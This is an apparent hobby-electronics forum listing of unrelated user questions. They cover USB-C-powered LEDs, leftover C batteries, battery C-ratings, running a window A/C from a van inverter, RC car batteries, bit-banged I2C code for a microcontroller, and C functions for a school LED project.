USB type C

Greetings, USB type c please? So I have spent alot of time researching different ways to light small ornament designs. I have considered EL lighting and LED, yet, in order for these lighting techniques to work sufficiently, you need 12v of power. There are Instructables to power these lightning methods per USB, however this ofcourse only provides the lightning with 5v. What I find quite surprising however is that there are no tutorials whatsoever with the new usb type: USB-C. Since USB-C can apparently provide 20v I wonder why there is little to no information available concerning these subjects. Are there technical limitations I dont know about? If not: would anyone please help me make usb-c powered led strips ^^

Things to do with C Batteries?

For a while my wife had to use this special medical machine that ran on c batteries.  every week the hospital would send us a box batteries even tho they were lasting about a month.  We kept telling them that we didn't need more but they said that they were required to send them anyway.  Now that she's off the machine I have all these batteries and nothing that uses them.  Everything that i've found on Amazon is very expensive.    I'm into woodworking and no absolutely nothing about electrical stuff or I'd design something myself.    anybody have any cool projects using c batteries? as one project idea, I have several of these lantern flashlights that run on d's.  it would be cool to convert those to run on c's.

Battery Power Capability (C)

I'm trying to understand a little bit more about batteries. I've learnt so far: "Volts,  amps, and  watts measure electricity. Volts measure the “pressure” under which electricity flows. Amps measure the amount of electric current. Watts measure the amount of work done by a certain amount of current at a certain pressure or voltage." Now I'm interested in knowing the maximum amount of energy you can draw from a battery at any one time. I presume you can't instantly drain a batteries full energy capacity at any one time. I have read that: "The way the power capability is measured is in C's. A C is the Amp-hour capacity divided by 1 hour. So the C of a 2Ah battery is 2A. The amount of current a battery 'likes' to have drawn from it is measured in C. The higher the C the more current you can draw from the battery without exhausting it prematurely. Lead acid batteries can have very high C values (10C or higher) , and lithium coin cells have very low ones (0.01C)" Am I write in saying a 1.2V 1200mAh has a power capability of 1.2C? In which case I should only ever draw 1.2C or less to preserve the battery? How do I increase this amount when using 2 batteries, if I wire two batteries together does the power capability increase to 2.4C for the above example batteries? If so do I have to wire them in parallel or series for this to work? Thank you.

12v to 120v sine inverter boosting

I have a 20 year old van. The a/c leaked and it is much cheaper to buy a 120v window unit ($140 with a 3-year walk-in exchange warranty) than to pay a shop to rebuilt the vehicle a/c. I chose a 5k BTU window unit that uses 4.1 amps running, and have a 1k watt sine wave inverter. Alone, the inverter will not start the a/c unit, but will power the fan. I confirmed a trick to start motors with an inverter. I connected an 8" bench grinder to the inverter and started it. It took a few restarts to get it up to speed. Then I started the a/c and it ran without problems. The bench grinder motor was able to supply the reactive power the a/c compressor needed to start. Both continued to run without straining the van's alternator. BUT, I don't want to travel with a running bench grinder going, that's not safe. Is there another way to supply the reactive boost that is safe to travel with? Once I get a simple stable way to run the a/c I'll work on a mount to vent the hot side. The van has sliding windows.

Replace r/c batteries

Hi, does anyone know how to replace r/c car batteries with normal AA cells (or pp3 or whatever)? This is really annoying me coz I have an old r/c car (pretty good one actually) but the battery has died and I was wondering how to replace it (or 'refresh' it if this is possible, which I don't think it is...). It would also be helpful to know a technique for finding out the voltage/amperage of the old batteries so I can fix it without blowing the electronics. Pictures would be attached but the uploader isn't working right now; I'll get them up as soon as possible. Thanks guys,

How to read uart data and write to i2c device.

// Port for the I2C #define I2C_DDR DDRD #define I2C_PIN PIND #define I2C_PORT PORTD // Pins to be used in the bit banging #define I2C_CLK 0 #define I2C_DAT 1 #define I2C_DATA_HI()\ I2C_DDR &= ~ (1 << I2C_DAT);\ I2C_PORT |= (1 << I2C_DAT); #define I2C_DATA_LO()\ I2C_DDR |= (1 << I2C_DAT);\ I2C_PORT &= ~ (1 << I2C_DAT); #define I2C_CLOCK_HI()\ I2C_DDR &= ~ (1 << I2C_CLK);\ I2C_PORT |= (1 << I2C_CLK); #define I2C_CLOCK_LO()\ I2C_DDR |= (1 << I2C_CLK);\ I2C_PORT &= ~ (1 << I2C_CLK); void I2C_WriteBit(unsigned char c) {     if (c > 0)     {         I2C_DATA_HI();     }     else     {         I2C_DATA_LO();     }     I2C_CLOCK_HI();     delay(1);     I2C_CLOCK_LO();     delay(1);     if (c > 0)     {         I2C_DATA_LO();     }     delay(1); } unsigned char I2C_ReadBit() {     I2C_DATA_HI();     I2C_CLOCK_HI();     delay(1);     unsigned char c = I2C_PIN;     I2C_CLOCK_LO();     delay(1);     return (c >> I2C_DAT) & 1; } // Inits bitbanging port, must be called before using the functions below // void I2C_Init() {     I2C_PORT &= ~ ((1 << I2C_DAT) | (1 << I2C_CLK));     I2C_CLOCK_HI();     I2C_DATA_HI();     delay(1); } // Send a START Condition // void I2C_Start() {     // set both to high at the same time     I2C_DDR &= ~ ((1 << I2C_DAT) | (1 << I2C_CLK));     delay(1);     I2C_DATA_LO();     delay(1);     I2C_CLOCK_LO();     delay(1); } // Send a STOP Condition // void I2C_Stop() {     I2C_CLOCK_HI();     delay(1);     I2C_DATA_HI();     delay(1); } // write a byte to the I2C slave device // unsigned char I2C_Write(unsigned char c) {     for (char i = 0; i < 8; i++)     {         I2C_WriteBit(c & 128);         c <<= 1;     }     //return I2C_ReadBit();     return 0; } // read a byte from the I2C slave device // unsigned char I2C_Read(unsigned char ack) {     unsigned char res = 0;     for (char i = 0; i < 8; i++)     {         res <<= 1;         res |= I2C_ReadBit();     }     if (ack > 0)     {         I2C_WriteBit(0);     }     else     {         I2C_WriteBit(1);     }     delay(1);     return res; }

C Help

I'm working on an electronic project for school, and I've been trying to learn C, I have a quick question, I think the answer is a function, but I don't know and I need an example. Basically I want something where I can break up the code into sections (I'm pretty sure it's called a function) and bring them all back together in the main() for example, lets say I want to have a function to turn on an led, then I have a different function to wait for so long, and then another function to turn it off, except I can control what LED I want to turn on/off and for how long (I want to be able to input to the function) Once again, I'm pretty sure it's called a function, I just don't know how to use them.
